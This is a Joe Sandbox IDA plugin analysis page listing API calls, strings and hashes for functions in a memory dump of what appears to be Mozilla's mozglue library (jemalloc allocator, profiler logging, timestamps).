Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction ID: 0ca6b029334713368cae37ce8458285ea3134e2d024130434b58c9ec30fc0ab5
Opcode Fuzzy Hash: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction Fuzzy Hash: FFF05475200205AFDF006F668C8895A777DEFCA29DF150415FA0583746DB756806876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

<jemalloc>, xrefs: 6C6905FA, 6C69060F
: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A9FDB
free.MOZGLUE(?,?), ref: 6C6A9FF0
free.MOZGLUE(?,?), ref: 6C6AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6AA0BE
free.MOZGLUE(?,?), ref: 6C6AA0D5
free.MOZGLUE(?,?), ref: 6C6AA0EB

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction ID: d0e3571c2bd200eb6f3ca1635352a3365f6f14c2e9d20bc6a0fda8586db42384
Opcode Fuzzy Hash: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction Fuzzy Hash: E161AF754086019FC711CF58C48059AB3F5FF89328F54866EE8999B702EB32E987CBD5

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 6C69E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E04F

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C69E057

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction ID: 6776e6135ab9b708d99987a322afce9bb1f9f19acc909b9fde3328e2bb01d191
Opcode Fuzzy Hash: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction Fuzzy Hash: E721B074A0010A9FDF009F65D898AAEB7B5BF8A308F140429E90A97740DB31A919C7E9

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

kernel32.dll, xrefs: 6C6B7557
UnmapViewOfFile2, xrefs: 6C6B7552

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770,-00000001,?,6C6CE330,?,6C67BDF7), ref: 6C6BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C67BDF7), ref: 6C6BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C67BDF7), ref: 6C6BA7E4
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA80A

Strings

accelerator.dll, xrefs: 6C6BA7BF

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction ID: 84db9bc2db7f189236c13609ddf8cf80400de71c38a9021371926e3afc495937
Opcode Fuzzy Hash: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction Fuzzy Hash: 8F01ADB07143049FDF04DF5AE8C4C9177B8FB8A355B05806AE90A8B712DB70A810CFAA

Function 6C6B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B748B,?), ref: 6C6B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6B75D7
FreeLibrary.KERNEL32(?,6C6B748B,?), ref: 6C6B75EC

Strings

ntdll.dll, xrefs: 6C6B75B3
RtlNtStatusToDosError, xrefs: 6C6B75D1

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction ID: 599b689ad59f66e73d5d34581d44cd022478ec4cd9cadc224c2f026cf24e048d
Opcode Fuzzy Hash: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction Fuzzy Hash: 8FE0B671600302ABEF006FE3E9C87817AF8EB46359F108425AA15D6650EFB0B452CF5E

Function 6C6B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B7592), ref: 6C6B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6B7627
FreeLibrary.KERNEL32(?,6C6B7592), ref: 6C6B763C

Strings

ntdll.dll, xrefs: 6C6B7603
NtUnmapViewOfSection, xrefs: 6C6B7621

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction ID: 4077c0c34e0e82244b259c34acabfe4733f0336438e9aebffaac6e4d6d13d704
Opcode Fuzzy Hash: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction Fuzzy Hash: 67E0B6B0600342ABDF106FA7E8887817AB8EB5A399F014515EA05D2750EBB1B4119F5E

Function 6C6BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6BBE49), ref: 6C6BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6BBE49), ref: 6C6BBF38
RtlReAllocateHeap.NTDLL ref: 6C6BBF83
RtlFreeHeap.NTDLL(6C6BBE49,00000000), ref: 6C6BBFA6

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction ID: 41be5e43559ec2933148f037eb97a796bf2ada86dae306781c2001eb55ed4b4d
Opcode Fuzzy Hash: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction Fuzzy Hash: 62517D71B002058FE714CF69CDC0BAAB7A6FFC9314F294629D516A7B94D730F9168B84

Function 6C6A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8EBF
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8F46
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F8F

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction ID: 5c8095c7e4d8c3f82490520348ed4036927259d6491a6e53044fc4a20779ecf9
Opcode Fuzzy Hash: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction Fuzzy Hash: 8251C2B1A012568FEB10CFA4D88066EB7B2FF4D348F15046AD916AB750E731FD06CB99

Function 6C6A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A289A
free.MOZGLUE(?,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A2910
free.MOZGLUE(00000001,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A294E

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction ID: 9897f2b458e45feeacbcb1e058197503f2c5ef340fe41d67c23a8ddd3040f7f3
Opcode Fuzzy Hash: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction Fuzzy Hash: 3D41B4B1A402068FEB14CFAAD88476A73F5EF45708F140939D95BEB740E731E906CB99

Function 6C65CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C65D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C65D139

Strings

MOZ_CRASH(), xrefs: 6C65D187

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction ID: 3543fbe50f1b8389a23461486b7e12babdc2657575e16f4df976855d1fc8f750
Opcode Fuzzy Hash: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction Fuzzy Hash: 6441CC32B412164FDB548E7E8DD07AAB6B0EB49714F650239EA18E77C4D7A1A800CBDD

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
